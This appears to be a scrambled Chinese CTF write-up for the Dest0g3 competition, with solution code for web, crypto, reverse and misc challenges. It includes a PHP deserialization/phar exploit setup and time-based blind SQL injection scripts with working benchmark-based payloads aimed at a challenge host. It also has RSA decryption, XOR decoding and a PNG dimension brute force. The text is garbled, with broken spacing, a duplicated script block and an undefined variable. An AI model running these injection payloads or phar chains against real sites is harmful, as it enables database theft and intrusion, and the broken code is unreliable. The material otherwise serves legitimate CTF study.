publicfunction__destruct(){ $data = $_POST[0]; if ($this->start == 'w') { waf($data); $filename = "D:/phpstudy_pro/WWW/test/tmp/".md5(rand()).".jpg"; # 写 phar文件 file_put_contents($filename, $data); echo$filename; } elseif ($this->start == 'r') { waf($data); $f = file_get_contents($data); # 触发phar文件 if($f){ echo"It is file"; } else{ echo"You can look at the others"; } } } }
classbanana{ publicfunction__get($name){ return$this->$name; } } // flag in / $tmp = $_POST[1]; if(strlen($_POST[1]) < 55) { $a = unserialize($_POST[1]); } else{ echo"str too long"; } thrownewError("start"); ?>
考点挺多的,首先审计挖掘链子利用原生类,并生成phar文件
<?php classAir{ public$p; }
classTree{ public$name; public$act; }
classApple{ public$xxx; public$flag; }
@unlink('test.phar'); @unlink('test2.phar'); @unlink('phar.zip'); // flag in / $tree = new Tree(); $tree->name = new Apple(); $tree->name->xxx = new Air();
flagstr = ascii_lowercase+digits+'{}-' flag = "Dest0g3"
for i inrange(8,60): for j in flagstr: data = { "username": payload.format(i, ord(j)), "password": "1" } try: res = requests.post(url, data=data, timeout=0.3) except: flag += j print(flag) time.sleep(0.2) break else: time.sleep(0.2) continue
import time import requests
url = "http://f2b0d8e1-e12f-446c-a90e-bc79e2c0a062.node4.buuoj.cn:81/index.php" asc = 'Dabcdefghijklmnopqrstuvwxyz0123456789{}-_' flag = ""
for i inrange(50): for j in asc: #payload = "'or(if(ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={},benchmark(1000000,md5(1)),0))or'" payload = "'or(if(ascii(mid((select(cmd)from(flaggg)),{},1))={},benchmark(2000000,md5(1)),0))or'" data = {"username": payload.format(i, ord(j)),"password": "test"} start_time2=time.time() res = requests.post(url, data=data) end_time2=time.time() sec2=(end_time2-start_time2) if sec2 >=0.4 flag += j print(flag) time.sleep(0.3) break else: pass
flagstr = ascii_lowercase+digits+'{}-' flag = "Dest0g3"
for i inrange(8,60): for j in flagstr: data = { "username": payload.format(i, ord(j)), "password": "1" } try: res = requests.post(url, data=data, timeout=0.3) except: flag += j print(flag) time.sleep(0.2) break else: time.sleep(0.2) continue
import libnum from Crypto.Util.number import long_to_bytes
e = 65537 n = 27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267 c = 14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
# p和q是我们发现n比较小于是果断用工具分解质因数得到的 p = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973971467 q = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973969401
n = p * q phi_n = (p-1)*(q-1) d = libnum.invmod(e, phi_n)
result = [0xB3,0x91,0x82,0x80,0xC3,0x9B,0xCE,0x75,0xCF,0x9C,0x9A,0x85,0x85,0xCD,0xB8,0x84,0xAA,0x7D,0xBD,0xBB,0xB1,0xB5,0x96,0x71,0x8D,0x9E,0x86,0xBF,0x73,0xA8,0xA3,0x9C,0x83,0x65,0x9E,0x57] flag = '' leng = len(result) for i inrange(leng): flag += chr((result[i]^247)-i) print(flag)
FLAG:Dest0g3{0bcgf-AdMy892-KobPW-hB6LTqG}
AI
OCR
爆破png宽高,CRC为0x36890ABE
import zlib import struct
# 同时爆破宽度和高度 filename = "misc34.png" withopen(filename, 'rb') as f: all_b = f.read() data = bytearray(all_b[12:29]) n = 4095 for w inrange(n): width = bytearray(struct.pack('>i', w)) for h inrange(n): height = bytearray(struct.pack('>i', h)) for x inrange(4): data[x+4] = width[x] data[x+8] = height[x] crc32result = zlib.crc32(data) #替换成图片的crc if crc32result == 0x36890ABE: print("宽为:", end = '') print(width, end = ' ') print(int.from_bytes(width, byteorder='big')) print("高为:", end = '') print(height, end = ' ') print(int.from_bytes(height, byteorder='big'))
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()\_+-/={}[] "#所有正常打印字符 strings = open('123.txt').read()#读取需要统计频数的文本 word = strings.split()
result = {}
for i in word: if i notin result: result[i] = 1 else: result[i] += 1
res = sorted(result.items(), key=lambda item: item[1], reverse=True)
f = open('out.txt','w')
num = 0 for data in res: num += 1 print('频数第{0}: {1}'.format(num, data)) f.writelines('频数第{0}: {1}'.format(num, data)) f.write('\n') f.close() print('\n---------------以下是频数从多到少的字符,按照从前到后排序---------------') for i in res: flag = str(i[0]) print(flag[0], end="")